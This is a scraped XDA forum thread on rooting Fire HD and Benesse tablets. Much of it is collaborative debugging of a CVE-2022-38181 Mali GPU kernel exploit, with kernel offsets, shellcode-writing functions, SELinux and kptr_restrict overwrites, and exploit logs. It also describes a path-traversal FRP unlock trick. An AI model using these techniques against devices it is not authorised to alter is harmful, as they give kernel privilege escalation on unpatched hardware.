yashsingh1/xdaforums huggingface dataset:
[Fire HD 8 and HD 10 General] Rortiz2:
Downgrading is not possible for several reasons. Firstly, the stock recovery doesn't offer an option to sideload an update ZIP. Even if you were to sideload an older FireOS update ZIP, the process would likely fail due to an assert check that compares the build dates and raises an error if the current build is newer than the one being flashed. Lastly, if you somehow managed to write the partitions from an older update ZIP, it would trigger RPMB (the Replay Protected Memory Block), and thus bricking the device. If that were to happen, the device would refuse to boot, and you wouldn't be able to unbrick it until you manage to clear RPMB which is only possible with amonet or kamakiri (and they can't be used since bootrom is disabled).

As for SP Flash Tools, the reason it doesn't work is that this device uses either SLA or DAA — probably the latter. DAA stands for "Download Agent Verification." What this means is that the preloader will always verify any Download Agent used to flash the device. In any case, you don't actually flash the DA; you just upload it to memory. If the verification is successful, the preloader jumps into its main function, which then allows SP Flash Tools to continue the flash process with its read and write commands.
​
[Fire HD 8 and HD 10 General] Azaze666:
I know that, my purpose is to downgrade preloader, use the old preloader to get into brom and unlock bootloader and reflash new preloader back
[Fire HD 8 and HD 10 General] Rortiz2:
Downgrading the preloader won't let you access bootrom lol. They used fuses to disable that, it doesn't matter whether you downgrade it or not.​
[Fire HD 8 and HD 10 General] Azaze666:
Unfortunately I learnt it the hard way, I crashed preloader and bootrom port showed up I think but handshake fails.... Really sad
[Fire HD 8 and HD 10 General] Yuu(ゆう):
I'm attempting to port the exploit based on CVE-2022-38181 for Onyx to a Japanese educational tablet called Tab-A05-BD. This device has the same SOC as Onyx but with a 64-bit ABI instead of 32-bit ABI. I tried porting the kernel offsets as per the referenced porting guide based on the 32-bit code, but it doesn't work. Even after dozens of attempts, the OS crashes or returns result 49. Would the 32-bit ABI code not work if it's for a 64-bit ABI?
[Fire HD 8 and HD 10 General] Baiker000:
Offsets in your code are a bit off. Based on your zImage, these are probably the correct offsets:

#define SELINUX_ENFORCING_neo 0x129d9bc
#define SEL_READ_HANDLE_UNKNOWN_neo 0x365d80 // 0xffffff80083e5d80 - 0xffffff8008080000 = 0x365d80
#define INIT_CRED_neo 0x11553f0
#define COMMIT_CREDS_neo 0x5a120
#define ADD_INIT_neo 0x910FC000
#define ADD_COMMIT_neo 0x91048108

But double-check them as I might have made an error.
[Fire HD 8 and HD 10 General] Yuu(ゆう):
Thank you for correcting my code.

I was able to run the program after the fix and get result 48 instead of result 49. However, the run_enforce() function succeeds in returning reuslt 48, but the run_enforce_un() function returns reuslt 49. The final result is a normal shell that does not have root privileges.
[Fire HD 8 and HD 10 General] p0werpl:
Are these the right addresses for this kernel (attached)? Thank you.

#define SELINUX_ENFORCING_trona 0x609870

#define SEL_READ_HANDLE_UNKNOWN_trona 0x61DE50

#define INIT_CRED_trona 0x13C6D4

#define COMMIT_CREDS_trona 0x13BF94

#define ADD_INIT_trona 0x911B5108

#define ADD_COMMIT_trona 0x913E5108
[Fire HD 8 and HD 10 General] Yuu(ゆう):
I succeeded to disable selinux using this code. But I can't enter root shell.
[Fire HD 8 and HD 10 General] Baiker000:
In this function

Spoiler content hidden.

Instead of fixup_root_shell try to use fixup_root_shell_un since in write_shellcode used root_code_un.
[Fire HD 8 and HD 10 General] Yuu(ゆう):
if (!strcmp(fingerprint, "benesse/TAB-A05-BD/TAB-A05-BD:9/01.00.000/01.00.000:user/release-keys")) {
selinux_enforcing = SELINUX_ENFORCING_neo;
sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_neo;
//fixup_root_shell(INIT_CRED_neo, COMMIT_CREDS_neo, SEL_READ_HANDLE_UNKNOWN_neo, ADD_INIT_neo, ADD_COMMIT_neo);
fixup_root_shell_un(INIT_CRED_neo, COMMIT_CREDS_neo, SEL_READ_HANDLE_UNKNOWN_neo, ADD_INIT_neo, ADD_COMMIT_neo);
return;
}

Would it be correct to modify the code based on your suggestions like this? I tried it, but the result didn't change.
[Fire HD 8 and HD 10 General] Yuu(ゆう):
I thought 0xffffff80091d53f0 is the address of init_cred.

Is it right?
[Fire HD 8 and HD 10 General] Baiker000:
Yea, looks like it right

Exploit is working if you can bypass selinux. Try to experiment with root shell code. Maybe use /sys/fs/selinux/reject_unknown instead of /sys/fs/selinux/deny_unknown. I had problem with reject_unknown on Amazon tablet, maybe it will work for you. If this won't help there is another way to run shell using avc_deny
[Fire HD 8 and HD 10 General] Yuu(ゆう):
It works for me. I got result 48.

But I can't run root shell.
[Fire HD 8 and HD 10 General] Baiker000:
Should be result 50. Basically when call write_shellcode we overwrite kernel function sel_read_handle_unknown with code from root_code_un. Then when calling

int enforce_fd = open("/sys/fs/selinux/reject_unknown", O_RDONLY);
read(enforce_fd, &result, 1);

kernel executes function in sel_read_handle_unknown address means it call our function. But our function don't return result so in run_enforce_un result will remain '2' or 50 in ascii. You got 48 and 49 in reject and deny, those are normal result for original function so probably problem somewhere in write_shellcode. You can try to add gibberish in root_code_un and see if it crush system running, but my theory is that it don't replace sel_read_handle_unknown at all. Also check if your zImage is the same that used in actual device, sometimes kernels in different versions had only minor differences in addresses so it possible that selinux address is same but it has different sel_read_handle_unknown address.

Or try to use shellcode approach from original repo where avc_denied is used.

#define SELINUX_ENFORCING_trona 0x18e5668

#define SEL_READ_HANDLE_UNKNOWN_trona 0x2c0cf8

#define INIT_CRED_trona 0x16c2918

#define COMMIT_CREDS_trona 0x4b6d8

#define ADD_INIT_trona 0x91246000

#define ADD_COMMIT_trona 0x911B6108

But read this thread, there was problems getting this exploit work on trona
[Fire HD 8 and HD 10 General] JJ2017:
Yep - the Fire Cube "Shrinker" - as originally posted by Pro-me3us - and then successfully ported, by you, to Onyx - only seems to work on the Mali-G52 GPU.

I've got a few devices running Mali-G72 GPU (not Trona, but that's also G72) and the exploit won't run beyond the "alias gpu va xxxxxxxx" part. Sometimes the device will crash but it never gets past this point.

I've de-compiled the ROM's (as you explained earlier in thread) and got what look like correct kallsyms - I don't think this is the issue, this time.

I've read there was a "core change" in architecture from G72 to G52 "The G52 is the first to double the lanes up from four to eight" (https://www.anandtech.com/show/12501/arm-launches-new-mali-g52-g31-gpus-new-display-and-video-ip) - maybe that's relevant, but I can't see how this changes the coding in the exploit.

Looking at the changes in ARM GPU kernel files: r14p0 vs r 16p0 - there's no major clues - slight changes - nothing obvious.

Hoping someone on here will get a bit further with this 🤞
[Fire HD 8 and HD 10 General] Yuu(ゆう):
I ported code from original repo. But it returns result 48.
[Fire HD 8 and HD 10 General] SergeantFury:
Hi -

Very sorry, I've been studying away from home and didn't think to bring my karnak with me.

As it stands, I've got a LineageOS custom rom sitting on the tablet. Should I flash to stock before pulling these values?
[Fire HD 8 and HD 10 General] Azaze666:
Would be better, if you can flash my same firmware: 7.3.2.7
[Fire HD 8 and HD 10 General] Baiker000:
First result is 48? You can probably skip parts of code since selinux is bypassed in write_selinux

//original code(avc_deny)
void write_shellcode(int mali_fd, int mali_fd2, uint64_t pgd, uint64_t* reserved) {
/* Skip this
uint64_t avc_deny_addr = (((avc_deny + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443;
write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), avc_deny_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64);

usleep(100000);
//Go through the reserve pages addresses to write to avc_denied with our own shellcode
write_func(mali_fd2, avc_deny, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(permissive[0]), sizeof(permissive)/sizeof(uint32_t));

//Triggers avc_denied to disable SELinux
open("/dev/kmsg", O_RDONLY);
*/
uint64_t sel_read_enforce_addr = (((sel_read_enforce + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443;
write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), sel_read_enforce_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64);

//Call commit_creds to overwrite process credentials to gain root
write_func(mali_fd2, sel_read_enforce, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t));
}

If it success it rewrites read from /sys/fs/selinux/enforce function to our commit_cred function. result from run_enforce should be 50.

Or instead of skipping code try to write root function into avc_deny. You need to create another fixup_root_shell with separate array and call it with avc_deny address to setup the array. Then instead of permissive[0] call it with this array.

If this works some other processes can accidentaly get root and damage /data partition, so if tablet stops booting factory reset is needed
[Fire HD 8 and HD 10 General] Yuu(ゆう):
I replaced write_shellcode function. But I got result 48.

First and second results are both 48.

//original code(avc_deny)
void write_shellcode(int mali_fd, int mali_fd2, uint64_t pgd, uint64_t* reserved) {
/* Skip this
uint64_t avc_deny_addr = (((avc_deny + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443;
write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), avc_deny_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64);

usleep(100000);
//Go through the reserve pages addresses to write to avc_denied with our own shellcode
write_func(mali_fd2, avc_deny, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(permissive[0]), sizeof(permissive)/sizeof(uint32_t));

//Triggers avc_denied to disable SELinux
open("/dev/kmsg", O_RDONLY);
*/
uint64_t sel_read_enforce_addr = (((sel_read_enforce + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443;
write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), sel_read_enforce_addr, atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_64);

//Call commit_creds to overwrite process credentials to gain root
write_func(mali_fd2, sel_read_enforce, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t));
}
[Fire HD 8 and HD 10 General] Yuu(ゆう):
I added the function fixup_rootshell2 to write root_code into avc_deny based on your advice. However, there may be a problem. Due to my understanding issues with C language and English, I might not have interpreted your support correctly. If I made changes that were not exactly as instructed, I apologize.

code

CVE-2022-38181/mali_shrinker_mmap32.c at 8c78cde6683cd3f3657dcc4c72e1503c8a203445 · SmileTabLabo/CVE-2022-38181

CVE-2022-38181 PoC for CTX(TAB-A05-BD) and CTZ(TAB-A05-BA1) - SmileTabLabo/CVE-2022-38181

github.com
[Fire HD 8 and HD 10 General] Baiker000:
Almost right. Just create separate array like root_code2 and use it in fixup_root_shell2. Also write something like this

Spoiler content hidden.

And create run_enforce version that will open "/dev/kmsg" and call it where other run_enforce called.

Without exploit is selinux enforced? cat /sys/fs/selinux/enforce returns 1? Try also to compile exploit with 64bit compiler and see if it make difference. Maybe its timing issue, try running replaced functions manually after exploit, like cat /sys/fs/selinux/deny_unknown but replace it with value that you replace, so /sys/fs/selinux/enforce in your current code.
[Fire HD 8 and HD 10 General] SergeantFury:
I'm struggling to root 7.3.2.7 - any attempt for me to flash 7.3.2.7 on top of an amonet unlock is just taking me into a bootloop.
[Fire HD 8 and HD 10 General] Yuu(ゆう):
I fixed the code.These are results.

GitHub - SmileTabLabo/CVE-2022-38181: CVE-2022-38181 PoC for CTX(TAB-A05-BD) and CTZ(TAB-A05-BA1)

CVE-2022-38181 PoC for CTX(TAB-A05-BD) and CTZ(TAB-A05-BA1) - SmileTabLabo/CVE-2022-38181

github.com

32bit build

TAB-A05-BD:/data/local/tmp $ getenforce
Enforcing
TAB-A05-BD:/data/local/tmp $ cat /sys/fs/selinux/enforce
1
TAB-A05-BD:/data/local/tmp $ ./shrinker
fingerprint: benesse/TAB-A05-BD/TAB-A05-BD:9/01.00.000/01.00.000:user/release-keys
Run fixup_root_shellRun fixup_root_shell_un
Run fixup_root_shell2
End fixup_root_shell2
failed, retry.
region freed 50
alias gpu va 100642000
read 0
cleanup flush region
release_mem_pool
reserve pages here
jit_freed
jit_free commit: 6 0
Found freed_idx 6
find_pgd, freed_idx is 6 start_pg is 0
find_pgd, freed_idx is 6 start_pg is 0
Found pgd 24, 1006f0000
write_data overwrite addr : 1041009bc 9bc
write_data overwrite addr : 1043009bc 9bc
write_func called with code_size = 8
write_func overwrite addr : 104100cc8 cc8
write_func overwrite addr : 104300cc8 cc8
write_func called with code_size = 8
write_func overwrite addr : 1041003a8 3a8
write_func overwrite addr : 1043003a8 3a8
time to run_enforce
run_enforce: before sleep
run_enforce: after sleep
run_enforce: open
result 48
run_enforce_un: before sleep
run_enforce_un: after sleep
run_enforce_un: open
run_enforce_un: after read
run_enforce_un: after close
result 48
TAB-A05-BD:/data/local/tmp $ getenforce
Permissive
TAB-A05-BD:/data/local/tmp $ cat /sys/fs/selinux/enforce
0

64bit build

TAB-A05-BD:/data/local/tmp $ ./shrinker-64
fingerprint: benesse/TAB-A05-BD/TAB-A05-BD:9/01.00.000/01.00.000:user/release-keys
Run fixup_root_shellRun fixup_root_shell_un
Run fixup_root_shell2
End fixup_root_shell2
./shrinker-64: mem_commit failed
: Invalid argument
[Fire HD 8 and HD 10 General] Azaze666:
Aren't you bootloader unlocked? Flash magisk or phh-su
[Fire HD 8 and HD 10 General] SergeantFury:
It looks like I didn't quite know the difference between an ordinary karnak vulnerable to amonet and a fully unlocked one. Unfortunately, I don't think I can be of help.
[Fire HD 8 and HD 10 General] Azaze666:
But you have root no? Flash the various partitions from Karnak root method using dd or dump and unlock your seccfg and flash it back with dd, same for everyone who got a temp root shell with the root exploit of this thread, people should wake up...
[Fire HD 8 and HD 10 General] Baiker000:
I checked different onyx kernels, and they have same selinux_enforcing offset but for other functions offsets are different. For making selinux permissive only selinux_enforcing is needed. Can you check if zImage that you attached in your first message are the exactly the same that is used in current tablet firmware? Maybe you can download official firmware for tablet, extract zImage from firmware files and then flash firmware on device?
[Fire HD 8 and HD 10 General] Yuu(ゆう):
I already checked it. The kernel extracted from update.zip and extracted from my device has same md5 hash.
[Fire HD 8 and HD 10 General] Baiker000:
Maybe we can try to extract kallsyms from kernel directly in device since selinux is permissive. By default all addresses will be zero, so in exploit add function to disable protection similar to disabling selinux

Spoiler content hidden.

Address of kptr_restrict in your zImage is

static uint64_t kptr_restrict = 0x1147178

Call this function after write_selinux

write_selinux(mali_fd, mali_fd2, pgd, &(reserved[0]));
usleep(100000);
write_kptr_restrict(mali_fd, mali_fd2, pgd, &(reserved[0]));
usleep(100000);
write_shellcode(mali_fd, mali_fd2, pgd, &(reserved[0]));

Then after exploit try to get kallsyms, if addresses is not zero check address of sel_read_handle_unknown

cat /proc/kallsyms | grep sel_read_handle_unknown
[Fire HD 8 and HD 10 General] Yuu(ゆう):
I succeed to extract kallsyms from my device.

This is the result.

cat /proc/kallsyms | grep sel_read_handle_unknown
ffffff80083e5d80 t sel_read_handle_unknown

(kallsyms)

https://gist.github.com/mouseos/a1b5f3f3d2e1bc29fa52edff42ddb2f9
[Fire HD 8 and HD 10 General] Rortiz2:
Amazon doesn't use seccfg...
[Fire HD 8 and HD 10 General] Yuu(ゆう):
I compared the kallsyms extracted from the device to the offsets listed in the code and both were the same.

There appears to be no error in the offset.
[Fire HD 8 and HD 10 General] SergeantFury:
This is putting me into entirely unfamiliar territory - is there some sort of technical documentation or guide I can look into for this procedure?
[Fire HD 8 and HD 10 General] A Cool User:
My Trona downloaded the PS7329.3851 update, but has not installed it yet. Anyone have tips on how to stop it from updating?
[Fire HD 8 and HD 10 General] Michajin:
Pm clear of the app used to work... Then it will likely start downloading again though.
[Fire HD 8 and HD 10 General] Baiker000:
Then it either some problem with write_func or some protection won't allow to modify text section.

Lets check write_func first.

Instead of write_func(mali_fd2, sel_read_enforce, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t)); use this

// create this variable
static uint32_t stack_error = 0x14000021;

// Then inside write_shellcode instead of write_func use
write_data(mali_fd2, sel_read_enforce, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, stack_error, MALI_WRITE_VALUE_TYPE_IMMEDIATE_32);

If I calculated it all correctly and it works it will make stack error when you read from /sys/fs/selinux/enforce.
[Fire HD 8 and HD 10 General] Yuu(ゆう):
I added your codes.

CVE-2022-38181/mali_shrinker_mmap32.c at 668b416351adb2105777c22c020de1cc08fc147d · SmileTabLabo/CVE-2022-38181

CVE-2022-38181 PoC for CTX(TAB-A05-BD) and CTZ(TAB-A05-BA1) - SmileTabLabo/CVE-2022-38181

github.com

This is the result

TAB-A05-BD:/data/local/tmp $ ./shrinker-32
fingerprint: benesse/TAB-A05-BD/TAB-A05-BD:9/01.00.000/01.00.000:user/release-keys
Run fixup_root_shellRun fixup_root_shell_un
failed, retry.
region freed 2
alias gpu va 100642000
read 0
cleanup flush region
release_mem_pool
reserve pages here
jit_freed
jit_free commit: 18 0
Found freed_idx 18
find_pgd, freed_idx is 18 start_pg is 0
find_pgd, freed_idx is 18 start_pg is 0
Found pgd 24, 10081c000
write_data overwrite addr : 1041009bc 9bc
write_data overwrite addr : 1043009bc 9bc
write_data overwrite addr : 104100178 178
write_data overwrite addr : 104300178 178
write_data overwrite addr : 1041003a8 3a8
write_data overwrite addr : 1043003a8 3a8
time to run_enforce
run_enforce: before sleep
run_enforce: after sleep
run_enforce: open
result 48
run_enforce_un: before sleep
run_enforce_un: after sleep
run_enforce_un: open
run_enforce_un: after read
run_enforce_un: after close
result 48
TAB-A05-BD:/data/local/tmp $cat /sys/fs/selinux/enforce
0
[Fire HD 8 and HD 10 General] Baiker000:
Honestly i running out of ideas. I don't see major differences in kernel configs between your device and onyx that can affect rewriting memory. Kernel versions are the same. Try to add usleep(500000) in write_shellcode like in write_selinux. Maybe exploit needs more time to rewrite address in page table. Also try ti check dmesg, maybe there is some errors.
[Fire HD 8 and HD 10 General] RonRamon:
Greetings, here is a dump of a 32Gb Fire HD 8 10th 2020 (onyx) dumped by ISP. Advertisement(tablet was brick), in case it can help at all.

Reading System Image Info ...........

Brand : Amazon

Vendor : Amazon

Model : KFONWI

Product : onyx

Manufacturer : Amazon

ID : PS7329.3851N

SDK : 28

Release : 9

ABI : armeabi-v7a

CPU abilist : armeabi-v7a,armeabi

Locale : en-US

Description : onyx-user 9 PS7329.3851N 0029294004992 amz-p,release-keys

Device : onyx

Display ID : PS7329.3851N

Security Patch : 2023-08-01

Fingerprint : Amazon/onyx/onyx:9/PS7329.3851N/0029294004992:user/amz-p,release-keys

StorageType : mtp

PD: A clean dump of a functional tablet would help me to try to lift this...
[Fire HD 8 and HD 10 General] Yuu(ゆう):
I will try it later.

I don't have temporary root access now. However, I've succeeded in obtaining persistent root access. There's a vulnerability on this TAB-A05-BD where system privileges allow file copying using path traversal attack by invoking system services from Java. After setting SELinux to permissive, I extracted the FRP partition using dd. Then, I edited the end of frp.img from 00 to 01 using a binary editor. After that, by exploiting the file copying vulnerability, I wrote to the block device frp, resulting in permission for OEM unlock and enabling 'fastboot flashing unlock'. Although I've achieved persistent root access, I'll continue to work on acquiring temporary root access following your advice. Thank you.
[Fire HD 8 and HD 10 General] benjaluth9:
Hi, I don't know if this is the right place to post this, is there any way to install the Live Wallpapers app like if it was a system app using this exploit on FOS 7.2.3.7? So we can get Live Wallpapers to work.

Pardon my ignorance, please.
[Fire HD 8 and HD 10 General] Michajin:
You were able to unlock the bootloader? Are you able to flash from fastboot? Flash recovery? Would love to get a step by step on this....
[Fire HD 8 and HD 10 General] Yuu(ゆう):
I succeed to unock bootloader.

GitHub - SmileTabLabo/CVE-2022-38181: CVE-2022-38181 PoC for CTX(TAB-A05-BD) and CTZ(TAB-A05-BA1)

CVE-2022-38181 PoC for CTX(TAB-A05-BD) and CTZ(TAB-A05-BA1) - SmileTabLabo/CVE-2022-38181

github.com
[Fire HD 8 and HD 10 General] Jonny490:
Ive got a Fire HD 8 12th Gen here with updates blocked since new,

[ro.vendor.build.date]: [Fri Sep 9 00:25:29 UTC 2022]

[ro.vendor.build.fingerprint]: [Amazon/raspite/raspite:11/RS8312.1144N/0021005367296:user/amz-p,release-keys]

if anything needs testing, would love to see root access as i cant even correct the time without allowing the tablet internet access
[Fire HD 8 and HD 10 General] RohanBaghel:
dose anyone knows the solution for this error:

map external resource failed
[Fire HD 8 and HD 10 General] Jumbo100:
ARM's official dev site listing of Mali vulnerability bug fixes:

Mali GPU Driver Vulnerabilities

In certain circumstances, some versions of the Mali GPU Kernel driver can become compromised.

developer.arm.com
[Fire HD 8 and HD 10 General] SergeantFury:
2018 brom isn't dead, I don't think, but anything afterward is bad
[Fire HD 8 and HD 10 General] Azaze666:
Wrong! Read the warning and think again lol https://xdaforums.com/t/unlock-root-twrp-unbrick-fire-hd-8-2018-karnak-amonet-3.3963496/

And.... People wouldn't be here if brom wasn't patched.....

But I may found a way to access it? We have to mess with it
[Fire HD 8 and HD 10 General] Michajin:
What device shows up when you think you have access? Lsusb, should show up as a phone....
[Fire HD 8 and HD 10 General] Michajin:
Also it should be noted, hd10 had brom access but couldn't be permanently unlocked.
[Fire HD 8 and HD 10 General] Azaze666:
Let me check @Michajin

I tried again and now watchdog is kicking me out

But....

Definitely hilarious

if i bypassed watchdog once i will do it twice
[Fire HD 8 and HD 10 General] Michajin:
That is the boot rom. That being said, it might be possible to downgrade From there. I did that with my hd10 19. Totally beyond my experience though...
[Fire HD 8 and HD 10 General] Azaze666:
i have other stuff to provide.... Let's drop the bomb. I have 4 (yes you heard well) 4 debuggable Amazon apps. I was able to install one on the tab. About where i found them, on a paid site inside a dump, clearly people have no idea of what they have.....
[Fire HD 8 and HD 10 General] Michajin:
what does a dubugging app do and what does this mean? i guess i am naive....
[Fire HD 8 and HD 10 General] Azaze666:
you can execute a shell with his privileges
[Fire HD 8 and HD 10 General] Rortiz2:
Nice find ;). Are you able to run commands like pm uninstall -k --user 0 packageName or pm disable-user --user 0 packageName? If so, this could be a good approach to block OTAs (like we used to do back then).​
[Fire HD 8 and HD 10 General] Azaze666:
I mean I can try but I already blocked them by dns, but I can give a try